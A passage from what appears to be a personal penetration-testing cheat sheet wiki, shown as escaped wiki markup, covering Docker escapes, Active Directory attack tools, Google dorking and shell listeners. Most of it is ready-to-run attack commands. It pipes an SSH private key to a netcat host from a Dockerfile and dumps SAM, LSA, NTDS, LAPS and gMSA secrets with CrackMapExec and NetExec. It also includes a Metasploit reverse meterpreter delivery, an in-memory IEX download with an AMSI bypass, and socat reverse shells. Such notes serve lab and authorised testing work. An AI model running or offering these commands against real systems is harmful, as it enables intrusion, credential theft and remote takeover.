#List images to use one&lt;br /&gt;
docker images&lt;br /&gt;
#Run the image mounting the host disk and chroot on it&lt;br /&gt;
docker run -it -v /:/host/ ubuntu:18.04 chroot /host/ bash&lt;br /&gt;
# Get full access to the host via ns pid and nsenter cli&lt;br /&gt;
docker run -it --rm --pid=host --privileged ubuntu bash&lt;br /&gt;
nsenter --target 1 --mount --uts --ipc --net --pid -- bash&lt;br /&gt;
# Get full privs in container without --privileged&lt;br /&gt;
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Exfiltrate data ===&lt;br /&gt;
&lt;br /&gt;
See notes for Deployer&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find if there is an docker image running. Then create a dockerfile. This wil copy id_rsa.bak to tmp, and then send it to our netcat listener on port 80&lt;br /&gt;
shanah@deployer:/opt$ cat dockerfile&lt;br /&gt;
FROM alpine&lt;br /&gt;
COPY id_rsa.bak /tmp/id_rsa.bak&lt;br /&gt;
RUN cat /tmp/id_rsa.bak | nc 192.168.49.153 80&lt;br /&gt;
# After running the below command, look at your netcat listener.&lt;br /&gt;
shanah@deployer:/opt$ sudo /usr/bin/docker build -t imagename .&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Exec-Tools ==&lt;br /&gt;
&lt;br /&gt;
=== CrackMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://wiki.porchetta.industries/&lt;br /&gt;
# READ MORE IN THE LINK ABOVE!!!!&lt;br /&gt;
# SMB commands&lt;br /&gt;
# Obtaining creds&lt;br /&gt;
# Require Domain Admin or Local Admin&lt;br /&gt;
# Dump SAM&lt;br /&gt;
crackmapexec smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --sam&lt;br /&gt;
## Dump LSA&lt;br /&gt;
crackmapexec  smb 192.168.1.0/24 -u UserNAme -p &#039;PASSWORDHERE&#039; --lsa&lt;br /&gt;
## Dump NTDS.dit&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds --users&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds --users --enabled&lt;br /&gt;
cme smb 192.168.1.100 -u UserNAme -p &#039;PASSWORDHERE&#039; --ntds vss&lt;br /&gt;
## LPAS - If installed on the domain&lt;br /&gt;
crackmapexec smb  -u user-can-read-laps -p pass --laps&lt;br /&gt;
# LDAP&lt;br /&gt;
## Dump gMSA&lt;br /&gt;
crackmapexec ldap  -u  -p  --gmsa&lt;br /&gt;
## LAPS - If installed on the domain&lt;br /&gt;
crackmapexec ldap  -u user-can-read-laps -p pass -M laps&lt;br /&gt;
## Extract gMSA secrets&lt;br /&gt;
crackmapexec ldap  -u  -p  --gmsa-convert-id 313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724&lt;br /&gt;
rackmapexec ldap  -u  -p  --gmsa-decrypt-lsa &#039;_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_313e25a880eb773502f03ad5021f49c2eb5b5be2a09f9883ae0d83308dbfa724:01000000240200001000120114021c02fbb096d10991bb88c3f54e153807b4c1cc009d30bc3c50fd6f72c99a1e79f27bd0cbd4df69fdf08b5cf6fa7928cf6924cf55bfd8dd505b1da26ddf5695f5333dd07d08673029b01082e548e31f1ad16c67db0116c6ab0f8d2a0f6f36ff30b160b7c78502d5df93232f72d6397b44571d1939a2d18bb9c28a5a48266f52737c934669e038e22d3ba5a7ae63a608f3074c520201f372d740fddec77a8fed4ddfc5b63ce7c4643b60a8c4c739e0d0c7078dd0c2fcbc2849e561ea2de1af7a004b462b1ff62ab4d3db5945a6227a58ed24461a634b85f939eeed392cf3fe9359f28f3daa8cb74edb9eef7dd38f44ed99fa7df5d10ea1545994012850980a7b3becba0000d22d957218fb7297b216e2d7272a4901f65c93ee0dbc4891d4eba49dda5354b0f2c359f185e6bb943da9bcfbd2abda591299cf166c28cb36907d1ba1a8956004b5e872ef851810689cec9578baae261b45d29d99aef743f3d9dcfbc5f89172c9761c706ea3ef16f4b553db628010e627dd42e3717208da1a2902636d63dabf1526597d94307c6b70a5acaf4bb2a1bdab05e38eb2594018e3ffac0245fcdb6afc5a36a5f98f5910491e85669f45d02e230cb633a4e64368205ac6fc3b0ba62d516283623670b723f906c2b3d40027791ab2ae97a8c5c135aae85da54a970e77fb46087d0e2233d062dcd88f866c12160313f9e6884b510840e90f4c5ee5a032d40000f0650a4489170000f0073a9188170000&#039;&lt;br /&gt;
## List all PKI enrollment server&lt;br /&gt;
crackmapexec run ldap  -u user -p pass -M adcs&lt;br /&gt;
## Extract subnet&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network -o ONLY_HOSTS=true&lt;br /&gt;
crackmapexec ldap  -u  -p  -M get-network -o ALL=true&lt;br /&gt;
# Username + Password + CMD command&lt;br /&gt;
crackmapexec mssql -d  -u  -p  -x &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Username + Hash + PS command&lt;br /&gt;
crackmapexec mssql -d  -u  -H  -X &#039;$PSVersionTable&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== NetExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/Pennyw0rth/NetExec&lt;br /&gt;
# This project was initially created in 2015 by @byt3bl33d3r, known as CrackMapExec. In 2019 @mpgn_x64 started maintaining the project for the next 4 years, adding a lot of great tools and features. In September 2023 he retired from maintaining the project.&lt;br /&gt;
# cheatsheet&lt;br /&gt;
https://www.netexec.wiki/&lt;br /&gt;
# General&lt;br /&gt;
netexec   -u username -p password&lt;br /&gt;
# Using modules&lt;br /&gt;
# List available modules&lt;br /&gt;
nxc smb -L&lt;br /&gt;
# View module options&lt;br /&gt;
nxc smb -M lsassy --options&lt;br /&gt;
# Using Kerberos&lt;br /&gt;
$ export KRB5CCNAME=/home/bonclay/impacket/administrator.ccache&lt;br /&gt;
$ nxc smb zoro.gold.local --use-kcache&lt;br /&gt;
$ export KRB5CCNAME=/home/bonclay/impacket/bonclay.ccache&lt;br /&gt;
$ sudo nxc smb zoro.gold.local --use-kcache -x whoami&lt;br /&gt;
# Send a local file to the remote target&lt;br /&gt;
nxc smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Get a remote file on the remote target&lt;br /&gt;
nxc smb 172.16.251.152 -u user -p pass --get-file  \\Windows\\Temp\\whoami.txt /tmp/whoami.txt&lt;br /&gt;
# Read LAPS&lt;br /&gt;
nxc smb  -u user-can-read-laps -p pass --laps&lt;br /&gt;
# Impersonate logged on user&lt;br /&gt;
# 1. Enumerate logged-on users on your Target&lt;br /&gt;
nxc smb  -u  -p  --loggedon-users&lt;br /&gt;
# 2. Execute commands on behalf of other users&lt;br /&gt;
nxc smb  -u  -p  -M schtask_as -o USER= CMD=&lt;br /&gt;
# Find Domain SID&lt;br /&gt;
$ nxc ldap DC1.scrm.local -u sqlsvc -p Pegasus60 -k --get-sid&lt;br /&gt;
# Kerberoasting&lt;br /&gt;
nxc ldap 192.168.0.104 -u harry -p pass --kerberoasting output.txt&lt;br /&gt;
# Unconstrained delegation - retrieve the list of all computers and users with the flag TRUSTED_FOR_DELEGATION&lt;br /&gt;
nxc ldap 192.168.0.104 -u harry -p pass --trusted-for-delegation&lt;br /&gt;
# Dump gMSA&lt;br /&gt;
$ nxc ldap  -u  -p  --gmsa&lt;br /&gt;
# Bloodhound ingenstor&lt;br /&gt;
nxc ldap  -u user -p pass --bloodhound -ns  --collection All&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Meterpreter using Invoke-metasploitpayload.ps1 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/Ethical-Hacking-Repos/Invoke-MetasploitPayload/blob/master/README.md&lt;br /&gt;
# https://www.netexec.wiki/smb-protocol/command-execution/getting-shells-101#meterpreter&lt;br /&gt;
# Meterpreter&lt;br /&gt;
# We can use the metinject module launch a meterpreter using Invoke-MetasploitPayload Invoke-MetasploitPayload.ps1 script.&lt;br /&gt;
# On your Metasploit instance, run the following commands&lt;br /&gt;
use exploit/multi/script/web_delivery&lt;br /&gt;
# The SRVHOST and SRVPORT variables are used for running the webserver to host the script&lt;br /&gt;
set SRVHOST 10.211.55&lt;br /&gt;
set SRVPORT 8443&lt;br /&gt;
# The target variable determines what type of script we&#039;re using. 2 is for PowerShell&lt;br /&gt;
set target 2&lt;br /&gt;
# Pick your payload. In this case, we&#039;ll use a reverse https meterpreter payload&lt;br /&gt;
set payload windows/meterpreter/reverse_https&lt;br /&gt;
set LHOST 10.211.55&lt;br /&gt;
set LPORT 443&lt;br /&gt;
# Run the exploit&lt;br /&gt;
run -j&lt;br /&gt;
# Once run, the web_delivery module will spin up the webserver to host the script and reverse listener for our meterpreter session.&lt;br /&gt;
msf exploit(web_delivery) &amp;gt; run -j&lt;br /&gt;
[*] Exploit running as background job.&lt;br /&gt;
[*] Started HTTPS reverse handler on https://10.211.55.4:8443/&lt;br /&gt;
[*] Using URL: http://10.211.55.4:8080/eYEssEwv2D&lt;br /&gt;
[*] Local IP: http://10.211.55.4:8080/eYEssEwv2D&lt;br /&gt;
[*] Server started.&lt;br /&gt;
# Then just run the met_inject module and specify the LHOST and LPORT values:&lt;br /&gt;
~ NetExec 192.168.10.0/24 -u username -p password -M met_inject -o SRVHOST=192.168.10.3 SRVPORT=8443 RAND=eYEssEwv2D SSL=http&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PsMapExec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Cheathseet&lt;br /&gt;
https://viperone.gitbook.io/pentest-everything/psmapexec&lt;br /&gt;
https://github.com/The-Viper-One/PsMapExec&lt;br /&gt;
# A PowerShell tool heavily inspired by the popular tool CrackMapExec. Far too often I find myself on engagements without access to Linux in order to make use of CrackMapExec.&lt;br /&gt;
# PsMapExec is used as a post-exploitation tool to assess and compromise an Active Directory environment.&lt;br /&gt;
# Load directly into memory and attempt to bypass AV&lt;br /&gt;
# Invoke-NETMongoose.ps1 is an AMSI bypass&lt;br /&gt;
IEX(New-Object System.Net.WebClient).DownloadString(&amp;quot;https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/Invoke-NETMongoose.ps1&amp;quot;);IEX(New-Object System.Net.WebClient).DownloadString(&amp;quot;https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# PsMapExec has some dependencies that need to be pulled from outside the script itself in order to function.&lt;br /&gt;
## Primarily these are:&lt;br /&gt;
### Kirby (PowerShell based Kerberos ticket dump)&lt;br /&gt;
### Invoke-Pandemonium (Slightly modified Mimikatz)&lt;br /&gt;
&lt;br /&gt;
# Examples&lt;br /&gt;
# Execute WMI commands over all systems in the domain using password authentication&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets All -Method WMI -Command &amp;quot;net user&amp;quot;&lt;br /&gt;
# Execute WinRM commands over all systems in the domain using hash authentication&lt;br /&gt;
PsMapExec -Username Admin -Hash [Hash] -Targets All -Method WinRM -Command &amp;quot;net user&amp;quot;&lt;br /&gt;
# Check RDP Access against workstations in the domain&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets Workstations -Method RDP&lt;br /&gt;
# Dump SAM on all servers in the domain using SMB&lt;br /&gt;
PsMapExec -Username [User] -Hash [Hash] -Targets Servers -Method SMB -Module SAM&lt;br /&gt;
# Check SMB Signing on all domain systems&lt;br /&gt;
PsMapExec -Targets All -Method GenRelayList&lt;br /&gt;
# Dump LogonPasswords on all Domain Controllers over SMB&lt;br /&gt;
PsMapExec -Username Admin -Password Pass -Targets DCs -Method SMB -Module LogonPasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== GIT ==&lt;br /&gt;
&lt;br /&gt;
See PG Hunit writeup&lt;br /&gt;
&lt;br /&gt;
=== Download .git ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir&lt;br /&gt;
./gitdumper.sh /.git/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Extract .git content ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir&lt;br /&gt;
./extractor.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== GIT basic commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Stage the file for commit to your local repository by the following command. -A means add changes from all tracked and untracked files&lt;br /&gt;
git add -A&lt;br /&gt;
# Configure who you are in order to commit&lt;br /&gt;
git config --global user.email &amp;quot;you@example.com&amp;quot;&lt;br /&gt;
git config --global user.name &amp;quot;Your Name&amp;quot;&lt;br /&gt;
# The git commit command **captures a snapshot of the project&#039;s currently staged changes**.&lt;br /&gt;
git commit -m &amp;quot;This is a message&amp;quot;&lt;br /&gt;
#  Push your changes to the remote server. &amp;quot;master&amp;quot; refers to master branch in your repository.&lt;br /&gt;
git push origin master&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===  ===&lt;br /&gt;
&lt;br /&gt;
=== GIT_SSH_COMMAND ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# GIT_SSH_COMMAND&lt;br /&gt;
# If either of these environment variables is set then _git fetch_ and _git push_ will use the specified command instead of _ssh_ when they need to connect to a remote system.&lt;br /&gt;
# Below command will SSH to user git at 192.168.243.124 and clone the repo from /git-server&lt;br /&gt;
GIT_SSH_COMMAND=&#039;ssh -i id_rsa -p 43022&#039; git clone git@192.168.243.125:/git-server&lt;br /&gt;
# This command wil SSH to user git and push the changes to the remote server.&lt;br /&gt;
GIT_SSH_COMMAND=&#039;ssh -i id_rsa -p 43022&#039; git push origin master&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== GitLeaks - Scan repos for secrets ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/zricethezav/gitleaks&lt;br /&gt;
gitleaks detect --source . -v&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Google Dorking ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://dorksearch.com/&lt;br /&gt;
site:target[.]com ext:php inurl:?&lt;br /&gt;
site:target.tld intitle:&amp;quot;index of /&amp;quot; #  intitle:&amp;quot;index of /&amp;quot;: This searches for pages with “index of /” in their title. The “index of /” is typically shown in the title of directory listings on servers where directory browsing is enabled. It allows you to see a raw directory of files hosted on a server.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Search operators ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/chr3st5an/Google-Dorking GitHub - chr3st5an/Google-Dorking: Google Dorking Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Operator&lt;br /&gt;
! Description&lt;br /&gt;
! Syntax&lt;br /&gt;
! Example&lt;br /&gt;
|-&lt;br /&gt;
| ()&lt;br /&gt;
| Group multiple terms or operators. Allows advanced expressions&lt;br /&gt;
| (&amp;lt;term&amp;gt; or &amp;lt;operator&amp;gt;)&lt;br /&gt;
| inurl:(html | php)&lt;br /&gt;
|-&lt;br /&gt;
| *&lt;br /&gt;
| Wildcard. Matches any word&lt;br /&gt;
| &amp;lt;text&amp;gt; * &amp;lt;text&amp;gt;&lt;br /&gt;
| How to * a computer&lt;br /&gt;
|-&lt;br /&gt;
| &amp;quot;&amp;quot;&lt;br /&gt;
| The given keyword has to match exactly. case-insensitive&lt;br /&gt;
| &amp;quot;&amp;lt;keywords&amp;gt;&amp;quot;&lt;br /&gt;
| &amp;quot;google&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| m..n / m...n&lt;br /&gt;
| Search for a range of numbers. n should be greater than m&lt;br /&gt;
| &amp;lt;number&amp;gt;..&amp;lt;number&amp;gt;&lt;br /&gt;
| 1..100&lt;br /&gt;
|-&lt;br /&gt;
| -&lt;br /&gt;
| Documents that match the operator are excluded. NOT-Operator&lt;br /&gt;
| -&amp;lt;operator&amp;gt;&lt;br /&gt;
| -site:youtube.com&lt;br /&gt;
|-&lt;br /&gt;
| +&lt;br /&gt;
| Include documents that match the operator&lt;br /&gt;
| +&amp;lt;operator&amp;gt;&lt;br /&gt;
| +site:youtube.com&lt;br /&gt;
|-&lt;br /&gt;
| |&lt;br /&gt;
| Logical OR-Operator. Only one operator needs to match in order for the overall expression to match&lt;br /&gt;
| &amp;lt;operator&amp;gt; | &amp;lt;operator&amp;gt;&lt;br /&gt;
| &amp;quot;google&amp;quot; | &amp;quot;yahoo&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| ~&lt;br /&gt;
| Search for synonyms of the given word. Not supported by Google&lt;br /&gt;
| ~&amp;lt;word&amp;gt;&lt;br /&gt;
| ~book&lt;br /&gt;
|-&lt;br /&gt;
| @&lt;br /&gt;
| Perform a search only on the given social media platform. Rather use site&lt;br /&gt;
| @&amp;lt;socialmedia&amp;gt;&lt;br /&gt;
| @instagram&lt;br /&gt;
|-&lt;br /&gt;
| after&lt;br /&gt;
| Search for documents published / indexed after the given date&lt;br /&gt;
| after:&amp;lt;yy(-mm-dd)&amp;gt;&lt;br /&gt;
| after:2020-06-03&lt;br /&gt;
|-&lt;br /&gt;
| allintitle&lt;br /&gt;
| Same as intitle but allows multiple keywords seperated by a space&lt;br /&gt;
| allintitle:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allintitle:dog cat&lt;br /&gt;
|-&lt;br /&gt;
| allinurl&lt;br /&gt;
| Same as inurl but allows multiple keywords seperated by a space&lt;br /&gt;
| allinurl:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allinurl:search com&lt;br /&gt;
|-&lt;br /&gt;
| allintext&lt;br /&gt;
| Same as intext but allows multiple keywords seperated by a space&lt;br /&gt;
| allintext:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allintext:math science university&lt;br /&gt;
|-&lt;br /&gt;
| AROUND&lt;br /&gt;
| Search for documents in which the first word is up to n words away from the second word and vice versa&lt;br /&gt;
| &amp;lt;word1&amp;gt; AROUND(&amp;lt;n&amp;gt;) &amp;lt;word2&amp;gt;&lt;br /&gt;
| google AROUND(10) good&lt;br /&gt;
|-&lt;br /&gt;
| author&lt;br /&gt;
| Search for articles written by the given author if applicable&lt;br /&gt;
| author:&amp;lt;name&amp;gt;&lt;br /&gt;
| author:Max&lt;br /&gt;
|-&lt;br /&gt;
| before&lt;br /&gt;
| Search for documents published / indexed before the given date&lt;br /&gt;
| before:&amp;lt;yy(-mm-dd)&amp;gt;&lt;br /&gt;
| before:2020-06-03&lt;br /&gt;
|-&lt;br /&gt;
| cache&lt;br /&gt;
| Search on the cached version of the given website. Uses Google&#039;s cache to do so&lt;br /&gt;
| cache:&amp;lt;domain&amp;gt;&lt;br /&gt;
| cache:google.com&lt;br /&gt;
|-&lt;br /&gt;
| contains&lt;br /&gt;
| Search for documents that link to the given fileype. Not supported by Google&lt;br /&gt;
| contains:&amp;lt;filetype&amp;gt;&lt;br /&gt;
| contains:pdf&lt;br /&gt;
|-&lt;br /&gt;
| date&lt;br /&gt;
| Search for documents published within the past n months. Not supported by Google&lt;br /&gt;
| date:&amp;lt;number&amp;gt;&lt;br /&gt;
| date:3&lt;br /&gt;
|-&lt;br /&gt;
| define&lt;br /&gt;
| Search for the definition of the given word&lt;br /&gt;
| define:&amp;lt;word&amp;gt;&lt;br /&gt;
| define:funny&lt;br /&gt;
|-&lt;br /&gt;
| ext&lt;br /&gt;
| Search for a specific filetype&lt;br /&gt;
| ext:&amp;lt;documenttype&amp;gt;&lt;br /&gt;
| ext:pdf&lt;br /&gt;
|-&lt;br /&gt;
| filetype&lt;br /&gt;
| Refer to ext&lt;br /&gt;
| filetype:&amp;lt;documenttype&amp;gt;&lt;br /&gt;
| filetype:pdf&lt;br /&gt;
|-&lt;br /&gt;
| inanchor&lt;br /&gt;
| Search for the given keyword in a website&#039;s anchors&lt;br /&gt;
| inanchor:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| inanchor:security&lt;br /&gt;
|-&lt;br /&gt;
| index of&lt;br /&gt;
| Search for documents containing direct downloads&lt;br /&gt;
| index of:&amp;lt;term&amp;gt;&lt;br /&gt;
| index of:mp4 videos&lt;br /&gt;
|-&lt;br /&gt;
| info&lt;br /&gt;
| Search for information about a website&lt;br /&gt;
| info:&amp;lt;domain&amp;gt;&lt;br /&gt;
| info:google.com&lt;br /&gt;
|-&lt;br /&gt;
| intext&lt;br /&gt;
| Keyword needs to be in the text of the document&lt;br /&gt;
| intext:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| intext:news&lt;br /&gt;
|-&lt;br /&gt;
| intitle&lt;br /&gt;
| Keyword needs to be in the title of the document&lt;br /&gt;
| intitle:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| intitle:money&lt;br /&gt;
|-&lt;br /&gt;
| inurl&lt;br /&gt;
| Keyword needs to be in the URL of the document&lt;br /&gt;
| inurl:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| inurl:sheet&lt;br /&gt;
|-&lt;br /&gt;
| link / links&lt;br /&gt;
| Search for documents whose links contain the given keyword. Useful for finding documents that link to a specific website&lt;br /&gt;
| link:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| link:google&lt;br /&gt;
|-&lt;br /&gt;
| location&lt;br /&gt;
| Show documents based on the given location&lt;br /&gt;
| location:&amp;lt;location&amp;gt;&lt;br /&gt;
| location:USA&lt;br /&gt;
|-&lt;br /&gt;
| numrange&lt;br /&gt;
| Refer to m..n&lt;br /&gt;
| numrange:&amp;lt;number&amp;gt;-&amp;lt;number&amp;gt;&lt;br /&gt;
| numrange:1-100&lt;br /&gt;
|-&lt;br /&gt;
| OR&lt;br /&gt;
| Refer to |&lt;br /&gt;
| &amp;lt;operator&amp;gt; OR &amp;lt;operator&amp;gt;&lt;br /&gt;
| &amp;quot;google&amp;quot; OR &amp;quot;yahoo&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| phonebook&lt;br /&gt;
| Search for related phone numbers associated with the given name&lt;br /&gt;
| phonebook:&amp;lt;name&amp;gt;&lt;br /&gt;
| phonebook:&amp;quot;william smith&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| relate / related&lt;br /&gt;
| Search for documents that are related to the given website&lt;br /&gt;
| relate:&amp;lt;domain&amp;gt;&lt;br /&gt;
| relate:google.com&lt;br /&gt;
|-&lt;br /&gt;
| safesearch&lt;br /&gt;
| Exclude adult content such as pornographic videos&lt;br /&gt;
| safesearch:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| safesearch:sex&lt;br /&gt;
|-&lt;br /&gt;
| source&lt;br /&gt;
| Search on a specific news site. Rather use site&lt;br /&gt;
| source:&amp;lt;news&amp;gt;&lt;br /&gt;
| source:theguardian&lt;br /&gt;
|-&lt;br /&gt;
| site&lt;br /&gt;
| Search on the given site. Given argument might also be just a TLD such as com, net, etc&lt;br /&gt;
| site:&amp;lt;domain&amp;gt;&lt;br /&gt;
| site:google.com&lt;br /&gt;
|-&lt;br /&gt;
| stock&lt;br /&gt;
| Search for information about a market stock&lt;br /&gt;
| stock:&amp;lt;stock&amp;gt;&lt;br /&gt;
| stock:dax&lt;br /&gt;
|-&lt;br /&gt;
| weather&lt;br /&gt;
| Search for information about the weather of the given location&lt;br /&gt;
| weather:&amp;lt;location&amp;gt;&lt;br /&gt;
| weather:Miami&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Finding Valuable Information ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intitle:&amp;quot;webcamXP 5&amp;quot; | inurl:&amp;quot;lvappl.htm&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find open/public webcams&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intext:password ext:log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find log documents wich have the string &amp;quot;password&amp;quot; in it&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
inurl:/proc/self/cwd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find vulnerable webservers&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
inurl:email.xls ext:xls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find excel documents that contain email addresses&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
index of:mp3 intext:.mp3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find mp3 (music) documents&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intext:&amp;quot;index of /&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Finding indexed files&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Listener ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ATTENTION&lt;br /&gt;
# Some target machines might block the port you&#039;ve choosen to use as listening port. If you dont get a connection, try changing the port to some standard ports like 80, 443, 445 etc.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Metasploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
use exploit/multi/handler&lt;br /&gt;
set PAYLOAD&lt;br /&gt;
set LHOST&lt;br /&gt;
set LPORT&lt;br /&gt;
set ExitOnSession false&lt;br /&gt;
exploit -j -z&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Listen on port&lt;br /&gt;
nc -lvnp&lt;br /&gt;
# Use rlwrap for better shell on Windows&lt;br /&gt;
rlwrap nc -lvnp&lt;br /&gt;
# Connect to port&lt;br /&gt;
nc -nv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Socat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basic listener&lt;br /&gt;
socat TCP-L: -&lt;br /&gt;
# Windows connect back&lt;br /&gt;
socat TCP::&lt;br /&gt;
EXEC:powershell.exe,pipes&lt;br /&gt;
# Linux connect back&lt;br /&gt;
socat TCP:: EXEC:&amp;quot;bash -li&amp;quot;&lt;br /&gt;
# Encrypted shell - Basic listener&lt;br /&gt;
https://blog.aghanim.net/?p=1043#Socat_encrypted_shells&lt;br /&gt;
socat OPENSSL-LISTEN:,cert=shell.pem,verify=0 –&lt;br /&gt;
# Connect back&lt;br /&gt;
